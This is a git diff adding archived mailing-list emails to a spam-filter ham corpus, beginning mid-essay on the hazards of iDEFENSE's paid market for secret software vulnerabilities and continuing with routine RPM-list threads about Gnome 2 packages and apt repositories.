+itself as "a global security intelligence company", is offering cash +for information about security vulnerabilities in computer software +that are not publicly known, especially if you promise not to tell +anyone else. + +If this kind of secret traffic is allowed to continue, it will pose a +very serious threat to our computer communications infrastructure. + +At the moment, the dominant paradigm for computer security research +known as "full disclosure"; people who discover security +vulnerabilities in software tell the vendor about them, and a short +while later --- after the vendor has had a chance to fix the problem +--- they publish the information, including code to exploit the +vulnerability, if possible. + +This method has proven far superior to the old paradigm established by +CERT in the late 1980s, which its proponents might call "responsible +disclosure" --- never release working exploit code, and never release +any information on the vulnerability before all vendors have released +a patch. This procedure often left hundreds of thousands of computers +vulnerable to known bugs for months or years while the vendors worked +on features, and often, even after the patches were released, people +wouldn't apply them because they didn't know how serious the problem +was. + +The underground computer criminal community would often discover and +exploit these same holes for months or years while the "responsible +disclosure" process kept their victims, who had no connections in the +underground, vulnerable. + +The problem with this is that vulnerabilities that are widely known +are much less dangerous, because their victims can take steps to +reduce their potential impact --- including disabling software, +turning off vulnerable features, filtering traffic in transit, and +detecting and responding to intrusions. They are therefore much less +useful to would-be intruders. Also, software companies usually see +security vulnerabilities in their software as PR problems, and so +prefer to delay publication (and the expense of fixing the bugs) as +long as possible. + +iDEFENSE is offering a new alternative that appears far more dangerous +than either of the two previous paradigms. They want to be a buyer in +a marketplace for secret software vulnerability information, rewarding +discoverers of vulnerabilities with cash. + +Not long before, Snosoft, a group of security researchers evidently +including some criminal elements, apparently made an offer to sell the +secrecy of some software vulnerability information to the software +vendor; specifically, they apparently made a private offer to +Hewlett-Packard to keep a vulnerability in HP's Tru64 Unix secret if +HP retained Snosoft's "consulting services". HP considered this +extortion and responded with legal threats, and Snosoft published the +information. + +If this is allowed to happen, it will cause two problems which, +together, add up to a catastrophe. + +First, secret software vulnerability information will be available to +the highest bidder, and to nobody else. For reasons explained later, +I think the highest bidders will generally be organized crime +syndicates, although that will not be obvious to the sellers. + +Second, finding software vulnerabilities and keeping them secret will +become lucrative for many more talented people. The result will be +--- just as in the "responsible disclosure" days --- that the good +guys will remain vulnerable for months and years, while the majority +of current vulnerabilities are kept secret. + +I've heard it argued that the highest bidders will generally be the +vendors of the vulnerable software, but I don't think that's +plausible. If someone can steal $20 000 because a software bug lets +them, the software vendor is never held liable; often, in fact, the +people who administer the software aren't liable, either --- when +credit card data are stolen from an e-commerce site, for example. +Knowing about a vulnerability before anyone else might save a web-site +administrator some time, and it might save the software vendor some +negative PR, but it can net the thief thousands of dollars. + +I think the highest bidders will be those for whom early vulnerability +information is most lucrative --- the thieves who can use it to +execute the largest heists without getting caught. Inevitably, that +means organized crime syndicates, although the particular gangs who +are good at networked theft may not yet exist. + +There might be the occasional case where a market leader, such as +Microsoft, could make more money by giving their competitors bad PR +than a gang could make by theft. Think of a remote-root hole in +Samba, for example. + +Right now, people who know how to find security exploits are either +motivated by personal interest in the subject, motivated by the public +interest, motivated by a desire for individual recognition, or +personally know criminals that benefit from their exploits. Creating +a marketplace in secret vulnerability information would vastly +increase the availability of that information to the people who can +afford to pay the most for it: spies, terrorists, and organized crime. + +Let's not let that happen. + + + + +This is the original iDEFENSE announcement: + +From: Sunil James [mailto:SJames@iDefense.com] +Sent: Wednesday, August 07, 2002 12:32 PM +Subject: Introducing iDEFENSE's Vulnerability Contributor Program + + +Greetings, + +iDEFENSE is pleased to announce the official launch of its Vulnerability +Contributor Program (VCP). The VCP pays contributors for the advance +notification of vulnerabilities, exploit code and malicious code. + +iDEFENSE hopes you might consider contributing to the VCP. The following +provides answers to some basic questions about the program: + +Q. How will it work? +A. iDEFENSE understands the majority of security researchers do not publish +security research for compensation; rather, it could be for any of a number +of motivations, including the following: + + * Pure love of security research + * The desire to protect against harm to targeted networks + * The desire to urge vendors to fix their products + * The publicity that often accompanies disclosure + +The VCP is for those who want to have their research made public to the +Internet community, but who would also like to be paid for doing the +work.The compensation will depend, among other things, on the following +items: + + * The kind of information being shared (i.e. vulnerability or exploit) + * The amount of detail and analysis provided + * The potential severity level for the information shared + * The types of applications, operating systems, and other + software and hardware potentially affected + * Verification by iDEFENSE Labs + * The level of exclusivity, if any, for data granted to iDEFENSE + +Q. Who should contribute to the VCP? +A. The VCP is open to any individual, security research group or other +entity. + +Q. Why are you launching this program? +A. Timeliness remains a key aspect in security intelligence. Contributions +to some lists take time before publication to the public at large. More +often, many of these services charge clients for access without paying the +original contributor. Under the iDEFENSE program, the contributor is +compensated, iDEFENSE Labs verifies the issue, and iDEFENSE clients and the +public at large are warned in a timely manner. + +Q. Who gets the credit? +A. The contributor is always credited for discovering the vulnerability or +exploit information. + +Q. When can I contribute? +The VCP is active. You are welcome to begin contributing today. + +To learn more, go to http://www.idefense.com/contributor.html. If you have +questions or would like to sign up as a contributor to the VCP, please +contact us at contributor@idefense.com. + +Regards, + +Sunil James +Technical Analyst +iDEFENSE + +"iDEFENSE is a global security intelligence company that proactively +monitors sources throughout the world -- from technical vulnerabilities and +hacker profiling to the global spread of viruses and other malicious code. +The iALERT security intelligence service provides decision-makers, frontline +security professionals and network administrators with timely access to +actionable intelligence and decision support on cyber-related threats. +iDEFENSE Labs is the research wing that verifies vulnerabilities, examines +the behavior of exploits and other malicious code and discovers new +software/hardware weaknesses in a controlled lab environment." + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01122.55278f83c3bf2dc1059f93244d037d21 b/bayes/spamham/easy_ham_2/01122.55278f83c3bf2dc1059f93244d037d21 new file mode 100644 index 0000000..23273f9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01122.55278f83c3bf2dc1059f93244d037d21 @@ -0,0 +1,78 @@ +From fork-admin@xent.com Thu Aug 22 10:47:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C57CB43C3D + for ; Thu, 22 Aug 2002 05:46:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 22 Aug 2002 10:46:28 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7M5HWZ26521 for ; + Thu, 22 Aug 2002 06:17:33 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5519B29409C; Wed, 21 Aug 2002 22:15:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 6ADE4294099 for ; Wed, + 21 Aug 2002 22:14:41 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 2084F3EDB3; + Thu, 22 Aug 2002 01:18:18 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 1EF303ED81; Thu, 22 Aug 2002 01:18:18 -0400 (EDT) +From: Tom +To: Kragen Sitaker +Cc: fork@spamassassin.taint.org +Subject: Re: the underground software vulnerability marketplace and its hazards +In-Reply-To: <20020822042454.6670E3F4EC@panacea.canonical.org> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 22 Aug 2002 01:18:17 -0400 (EDT) + +On Thu, 22 Aug 2002, Kragen Sitaker wrote: + +--]If this kind of secret traffic is allowed to continue, it will pose a +--]very serious threat to our computer communications infrastructure. + +The goverment mindset is now, If you know a vulnerability and let it on to +anyone BUT the manufacturer you are a criminal...end of story, go directly +to jail do not collect 200$ and tip a hat to the citizen infromants who +helped get you there. + +So this leaves lucrative contracts for those who find and then NDA the +find with the manufacturer with, if the finder is smart, an imunity from +any prosecution in the future so long as the NDA is kept. + + +Oh my droogie, those who are in the shirt hairs hanging of the new age +employemnt market, this could be your golden molden moment to strike the +new gold mine...and perhaps coopt it fromthe start..... + +There are two ways to fight the powers that be, from with out and from +with in...lets not turn a blind eye towards one becuase someone, yes +someone, will do the deed and if that someone does not have the "make em +weak for the revultion to come" mindset then we are all and truly doomed. + +Fight without +Fight within +and make some scratch on the differences between:)- + + +-tomwsmf + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01123.1bc5378f6a482f5d6e26d1dfe506e3a5 b/bayes/spamham/easy_ham_2/01123.1bc5378f6a482f5d6e26d1dfe506e3a5 new file mode 100644 index 0000000..e8099be --- /dev/null +++ b/bayes/spamham/easy_ham_2/01123.1bc5378f6a482f5d6e26d1dfe506e3a5 @@ -0,0 +1,86 @@ +From spamassassin-talk-admin@lists.sourceforge.net Fri Jul 19 15:05:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 280E243FB5 + for ; Fri, 19 Jul 2002 10:05:49 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 19 Jul 2002 15:05:49 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g6JE5VJ02606 for ; Fri, 19 Jul 2002 15:05:32 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17VYLc-0000ZL-00; Fri, + 19 Jul 2002 07:03:08 -0700 +Received: from mail.akitogo.com ([213.146.183.160] helo=akitogo.com) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17VYKo-0003HX-00 for ; + Fri, 19 Jul 2002 07:02:19 -0700 +Received: from [199.108.103.232] (account kiosk@f1online.de + [199.108.103.232] verified) by akitogo.com (CommuniGate Pro SMTP 3.5.9) + with ESMTP id 205675; Fri, 19 Jul 2002 16:02:28 +0200 +User-Agent: Microsoft-Entourage/10.1.0.2006 +From: Gunnar Lieb +To: , + "(CommuniGate Pro Discussions)" +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="US-ASCII" +Content-Transfer-Encoding: 7bit +Subject: [SAtalk] Spamassassin webinterface for Communigate using PHP released +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 19 Jul 2002 16:02:01 +0200 +Date: Fri, 19 Jul 2002 16:02:01 +0200 + +Hi, + +akitogo is happy to announce that Jochen Becker has just finished a small +nice PHP interface which integrates Spammassassin in the webuser interface +from Communigate. + +It currently tested with RedHat,PHP and CGPro + +What is does: +------------- +The users are able to: +- edit the blacklist and whitelist +- edit required hits (score) +- define a mailbox in which every spam mail is dropped + +Spamassassin settings made by the webinterfaxe are handled domain wide. + +You can download it from: +------------------------- +http://www.akitogo.com/download/spamAssassinCommunigateWebinterface.tar.gz + + +Enjoy, + +Gunnar Lieb, akitogo OHG + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + + diff --git a/bayes/spamham/easy_ham_2/01124.46cede028415505f298d790649abf207 b/bayes/spamham/easy_ham_2/01124.46cede028415505f298d790649abf207 new file mode 100644 index 0000000..961af8c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01124.46cede028415505f298d790649abf207 @@ -0,0 +1,94 @@ +From rpm-list-admin@freshrpms.net Fri Jul 19 18:15:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9A8A2440C8 + for ; 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i386-redhat-linux) +Reply-BY: Tue, 24 Jul 2000 19:02:00 +1000 +X-Operating-System: GNU/Linux power! +X-Message-Flag: Try using a real operating system : GNU/Linux power! +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Fri, 19 Jul 2002 18:40:52 +0200 +Date: Fri, 19 Jul 2002 18:40:52 +0200 + +Once upon a time, Matthias wrote : + +> On Thu, 18 Jul 2002 13:00:29 +0200 +> Matthias Saou wrote: +> +> > Once upon a time, Matthias wrote : +> > > ..see subject. +> > ..see valhalla.freshrpms.net ;-) +> +> Hi, Matthias, +> +> You should temporarly remove gentoo 0.11.29 from valhalla.freshrpms.net. +> This build (and 0.11.28) has a strong bug: Problems with copying "deep" +> directories. +> +> Have reported this to Emil, he looks currently into it, a fix should be +> available soon.. +> +> Sorry + +Done. +Well, I feel especially sorry for him since he already qualified 0.11.28 of +"brown paper bag" release because of the column header clicking bug :-(( + +I'll put up the next version as soon as it's out hoping it'll fix all +current issues! + +Matthias + +-- +Matthias Saou World Trade Center +------------- Edificio Norte 4 Planta +System and Network Engineer 08039 Barcelona, Spain +Electronic Group Interactive Phone : +34 936 00 23 23 + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01125.778694f1396a39deb63ce5cca560c22d b/bayes/spamham/easy_ham_2/01125.778694f1396a39deb63ce5cca560c22d new file mode 100644 index 0000000..2afa272 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01125.778694f1396a39deb63ce5cca560c22d @@ -0,0 +1,68 @@ +From rpm-list-admin@freshrpms.net Sat Jul 20 00:00:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 471AC440C8 + for ; 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+ Sun, 21 Jul 2002 01:56:10 +1200 +Subject: Re: Gnome 2 +From: Mark Derricutt +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020718212921.17437.qmail@web20805.mail.yahoo.com> +References: <20020718212921.17437.qmail@web20805.mail.yahoo.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1027118968.10143.0.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 20 Jul 2002 10:49:28 +1200 +Date: 20 Jul 2002 10:49:28 +1200 + +Sorry about that, new machine, had set the time right, forgot about the +date :( + +On Fri, 2002-07-19 at 09:29, Doug Stewart wrote: + +> Set your clock to the correct time, for the love of +> all things holy (and my sanity...). + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01126.d32e9821c5b4a8c537f1a4614a293a52 b/bayes/spamham/easy_ham_2/01126.d32e9821c5b4a8c537f1a4614a293a52 new file mode 100644 index 0000000..a320ba2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01126.d32e9821c5b4a8c537f1a4614a293a52 @@ -0,0 +1,73 @@ +From rpm-list-admin@freshrpms.net Sat Jul 20 00:00:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BAFF8440C9 + for ; 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+ Sun, 21 Jul 2002 01:57:41 +1200 +Subject: Re: Gnome 2 +From: Mark Derricutt +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020718140933.5085e03d.hosting@j2solutions.net> +References: <1024649109.4020.0.camel@localhost.localdomain> + <20020718134637.246b4cc0.hosting@j2solutions.net> + <1024650397.3546.3.camel@localhost.localdomain> + <20020718140933.5085e03d.hosting@j2solutions.net> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1027119059.10143.3.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 20 Jul 2002 10:50:58 +1200 +Date: 20 Jul 2002 10:50:58 +1200 + +On Fri, 2002-07-19 at 09:09, Jesse Keating wrote: + +> And you think a batch of gnome2 rpms is going to solve that? +> (no offense) + +Not quite, but if I got gnome2 installed, then my guess is that gtk2 +would also be fully installed, which would let me use the new pan. + +That and I'd like to try gnome2 anyway. + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01127.841233b48eceb74a825417d8d918abf8 b/bayes/spamham/easy_ham_2/01127.841233b48eceb74a825417d8d918abf8 new file mode 100644 index 0000000..dcd036d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01127.841233b48eceb74a825417d8d918abf8 @@ -0,0 +1,76 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 17:57:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 59188440C8 + for ; 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21 Jul 2002 20:35:52 -0000 +Received: from stumpy.se7en.org ([10.0.0.5] + ident=[F9plruSXW+WQJNuNXDX2R1ilDxYDHEVX]) by se7en.org with esmtp (Exim + 3.35 #1 (Debian)) id 17WbZ6-0006kY-00 for ; + Mon, 22 Jul 2002 23:41:24 +1200 +Subject: Re: Ximian apt repos? +From: Mark Derricutt +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020721145013.4dc253d6.che666@uni.de> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> + <20020721142007.03c02bc4.che666@uni.de> + <1027252799.12983.0.camel@localhost.localdomain> + <20020721145013.4dc253d6.che666@uni.de> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1027281818.12983.3.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 22 Jul 2002 08:03:32 +1200 +Date: 22 Jul 2002 08:03:32 +1200 + +On Mon, 2002-07-22 at 06:50, che wrote: + +> thats the correct lines to be added to sources.list for the repository +> i just did a apt-get install gnome-session its still progressing :) + +Excellent - might give it a bash tonight :) + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01128.efb36914ecb55d78a894591eff0843c5 b/bayes/spamham/easy_ham_2/01128.efb36914ecb55d78a894591eff0843c5 new file mode 100644 index 0000000..e65f8ab --- /dev/null +++ b/bayes/spamham/easy_ham_2/01128.efb36914ecb55d78a894591eff0843c5 @@ -0,0 +1,100 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 17:57:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B62FB440C8 + for ; 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Sun, 21 Jul 2002 20:09:33 +0200 + (CEST) +From: che +To: rpm-zzzlist@freshrpms.net +Subject: Re: Ximian apt repos? +Message-Id: <20020721200350.6fa40280.che666@uni.de> +In-Reply-To: <20020721105151.01f2db4a.kilroy@kamakiriad.com> +References: <1027203479.5354.14.camel@athena> + <20020721105151.01f2db4a.kilroy@kamakiriad.com> +Organization: che +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 20:03:50 -0400 +Date: Sun, 21 Jul 2002 20:03:50 -0400 + +On Sun, 21 Jul 2002 10:51:51 -0500 +Brian Fahrlander wrote: + +> [branching the thread, here] +> +> I found another Ximian repository- I don't know if it works yet... +> +> rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps +> rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps +> +> rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps ximian +> rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps ximian +> +> rpm http://gstreamer.net/releases/redhat/ redhat-73-i386 deps gnomehide +> rpm-src http://gstreamer.net/releases/redhat/ redhat-73-i386 deps gnomehide +> +> These guys are EXTREMELY apt-friendly. Unlike most multimedia projects, they seem to prefer RPM/Apt over the older methods. Isn't that cool? +> +> Hey- how would I have known to "apt-get install gnome-session" to kick all this off? +> +> ------------------------------------------------------------------------ +> Brian Fahrländer Linux Zealot, Conservative, and Technomad +> Evansville, IN My Voyage: http://www.CounterMoon.com +> ICQ 5119262 +> ------------------------------------------------------------------------ +> I don't want to hear news from Isreal until the news contains the words +> "Bullet", "Brain", and "Arafat". + +i took a look into the repository it "just" contains gstreamer and his dependecies +but thats nice for people who use it though :) + +thanks, +che + +personally i am capped to 16 kb/s upstream only :\ if i just had like 10 to 20 times of that i would run a repository for sure. i guess alot of people would love to even get daily builds (yes i know i deserve to be eaten for that idea because it would need alot of bandwidth) but well would still be nice :). + +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01129.2546d3af56360ec2fbf9345b298e05b4 b/bayes/spamham/easy_ham_2/01129.2546d3af56360ec2fbf9345b298e05b4 new file mode 100644 index 0000000..9ad543c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01129.2546d3af56360ec2fbf9345b298e05b4 @@ -0,0 +1,73 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 17:59:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 06414440C8 + for ; Mon, 22 Jul 2002 12:59:12 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:59:12 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG16Y16388 for + ; Mon, 22 Jul 2002 17:01:06 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id NAA27595 for ; + Sun, 21 Jul 2002 13:46:16 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6LCX1C24815; Sun, 21 Jul 2002 14:33:01 + +0200 +Received: from drone3.qsi.net.nz (drone3-svc-skyt.qsi.net.nz + [202.89.128.3]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id g6LCWbC21062 + for ; Sun, 21 Jul 2002 14:32:37 +0200 +Received: (qmail 23173 invoked by uid 0); 21 Jul 2002 12:32:26 -0000 +Received: from unknown (HELO se7en.org) ([202.89.145.8]) (envelope-sender + ) by 0 (qmail-ldap-1.03) with SMTP for + ; 21 Jul 2002 12:32:26 -0000 +Received: from stumpy.se7en.org ([10.0.0.5] + ident=[px8EskqLfLWBfzEBEXMScK/9eYHjy1uF]) by se7en.org with esmtp (Exim + 3.35 #1 (Debian)) id 17WU0z-0005VX-00 for ; + Mon, 22 Jul 2002 15:37:41 +1200 +Subject: Re: Ximian apt repos? +From: Mark Derricutt +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020721142007.03c02bc4.che666@uni.de> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> + <20020721142007.03c02bc4.che666@uni.de> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1027252799.12983.0.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 21 Jul 2002 23:59:59 +1200 +Date: 21 Jul 2002 23:59:59 +1200 + +On Mon, 2002-07-22 at 06:20, che wrote: + +> The server mentioned above works again now :)! + +Any problems with the rpm's they provided? + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01130.e0df582ca8cc2996eaf91157dbff4ee3 b/bayes/spamham/easy_ham_2/01130.e0df582ca8cc2996eaf91157dbff4ee3 new file mode 100644 index 0000000..19b77ac --- /dev/null +++ b/bayes/spamham/easy_ham_2/01130.e0df582ca8cc2996eaf91157dbff4ee3 @@ -0,0 +1,83 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 17:59:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 20757440C8 + for ; Mon, 22 Jul 2002 12:59:29 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 17:59:29 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG0OY15992 for + ; Mon, 22 Jul 2002 17:00:29 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id RAA28277 for ; + Sun, 21 Jul 2002 17:15:45 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6LFr2C28114; Sun, 21 Jul 2002 17:53:03 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6LFq3C18249 for + ; Sun, 21 Jul 2002 17:52:03 +0200 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6LFppo14456 + for ; Sun, 21 Jul 2002 10:51:51 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Subject: Re: Ximian apt repos? +Message-Id: <20020721105151.01f2db4a.kilroy@kamakiriad.com> +In-Reply-To: <1027203479.5354.14.camel@athena> +References: <1027203479.5354.14.camel@athena> +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 